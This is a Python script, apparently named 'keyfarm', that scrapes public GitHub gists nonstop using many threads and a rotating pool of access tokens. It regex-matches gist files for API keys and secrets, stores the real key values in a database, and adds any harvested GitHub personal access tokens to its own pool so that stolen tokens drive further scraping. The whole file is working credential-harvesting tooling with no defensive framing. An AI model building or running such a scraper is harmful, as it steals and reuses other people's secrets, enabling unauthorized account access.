"""ETERNAL GitHub Gists firehose: /gists/public with 1764-PAT pool. Each page = 100 gists; scan file content via text_matches on the list API content snapshot. Gists are a top leak vector (.env dumps, configs). Also self-feeds: found ghp_ tokens can extend the PAT pool. """ import os KF_BASE = os.path.dirname(os.path.abspath(__file__)) os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True) import hashlib import re import sqlite3 import subprocess import sys import threading import time import requests DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db") LOG = os.path.join(KF_BASE, "gist_eternal.log") TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt") POOL_FILE = os.path.join(KF_BASE, "gh_tokens.txt") # append new ghp_ N_THREADS = 24 PAGES_PER_CYCLE = 600 # 60k gists per cycle from key_patterns import PATTERNS GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "AQUI", "REEMPLAZA", "INSERT", "FAKE", "fake", "Fake", "test", "Test", "dddd", "12345", "CHANGE", "deadbeef", "fffffff", "0000000000", "abcdefghijklmnopqrst", "1234567890abcdef") # gist files worth pulling raw (env/config style names) INTERESTING = re.compile( r'(^|/)(\.?env|config|settings|secret|credential|token|key|api|' r'auth|\.bash|\.zsh|profile|keys?)', re.I) def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, flush=True) with open(LOG, "a", encoding="utf-8", errors="replace") as f: f.write(line) class PATPool: def __init__(self): self.tokens = [] self.dead = set() self._i = 0 self._lock = threading.Lock() self._load() def _load(self): try: with open(TOKENS_FILE, encoding="utf-8") as f: for line in f: t = line.strip() if t.startswith("ghp_") and t not in self.tokens: self.tokens.append(t) except Exception: pass try: r = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=5) t = r.stdout.strip() if t and t not in self.tokens: self.tokens.append(t) except Exception: pass def next(self): with self._lock: live = [t for t in self.tokens if t not in self.dead] if not live: return "" t = live[self._i % len(live)] self._i += 1 return t def mark_dead(self, t): with self._lock: self.dead.add(t) def add(self, t): with self._lock: if t not in self.tokens: self.tokens.append(t) with open(POOL_FILE, "a", encoding="utf-8") as f: f.write(t + "\n") def size(self): with self._lock: return len(self.tokens) POOL = PATPool() # ponytail: shared Session is not thread-safe; plain requests.get per thread def fetch_gist(gid): """GET /gists/:id — full files content.""" tok = POOL.next() if not tok: return None try: r = requests.get(f"https://api.github.com/gists/{gid}", headers={"Authorization": f"Bearer {tok}", "User-Agent": "keyfarm", "Accept": "application/vnd.github+json"}, timeout=20) if r.status_code == 401: POOL.mark_dead(tok) return None if r.status_code != 200: return None return r.json() except Exception: return None def scan_page(page): """GET /gists/public?page=N, return gist ids worth deep-fetching.""" tok = POOL.next() if not tok: return [] try: r = requests.get("https://api.github.com/gists/public", params={"per_page": 100, "page": page}, headers={"Authorization": f"Bearer {tok}", "User-Agent": "keyfarm", "Accept": "application/vnd.github+json"}, timeout=20) if r.status_code == 401: POOL.mark_dead(tok) return [] if r.status_code != 200: return [] out = [] for g in r.json(): gid = g.get("id") if gid: out.append((gid, "")) return out except Exception: return [] def cycle(db): db.execute("PRAGMA busy_timeout=120000") cur = db.cursor() cur.execute("SELECT val FROM keys") seen = {r[0] for r in cur.fetchall()} cur.execute("SELECT hash FROM keys WHERE prov='GITHUB_PAT'") pat_seen = {r[0] for r in cur.fetchall()} lock = threading.Lock() total = 0 pages = list(range(1, PAGES_PER_CYCLE + 1)) def work(page): nonlocal total n = 0 for gid, _fn in scan_page(page): g = fetch_gist(gid) if not g: continue owner = (g.get("owner") or {}).get("login", "?") blob = [] for fn, meta in (g.get("files") or {}).items(): content = meta.get("content") or "" if content and len(content) < 200_000: blob.append((fn, content)) for fn, text in blob: for prov, rx in PATTERNS: for key in rx.findall(text): if isinstance(key, tuple): key = key[0] if key in seen or any(gg in key for gg in GARBAGE) \ or len(key) < 30: continue with lock: seen.add(key) cur.execute( "INSERT INTO keys " "(hash, val, prov, status, found, repo) " "VALUES (?,?,?,?,?,?) " "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo " "WHERE keys.status IN ('DEAD','ERR')", (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW", "gist-eternal", f"gist:{owner}/{fn}")) total += 1 n += 1 # self-feed: live PAT expands the search pool if prov == "GITHUB_PAT" and key not in pat_seen: POOL.add(key) log(f" POOL +PAT {key[:10]}… (pool={POOL.size()})") return n from concurrent.futures import ThreadPoolExecutor, as_completed with ThreadPoolExecutor(max_workers=N_THREADS) as ex: futs = {ex.submit(work, p): p for p in pages} for fut in as_completed(futs): p = futs[fut] try: n = fut.result() if n: log(f"page {p}: +{n}") except Exception as e: log(f"page {p} error: {e!r}") db.commit() return total def main(): log(f"=== GIST eternal START pid={__import__('os').getpid()} " f"tokens={POOL.size()} threads={N_THREADS} ===") db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None) while True: try: n = cycle(db) log(f"CYCLE done: +{n} new (pool={POOL.size()}); resting 60s") except Exception as e: log(f"CYCLE ERROR: {e!r}") time.sleep(60) if __name__ == "__main__": try: main() except KeyboardInterrupt: sys.exit(0)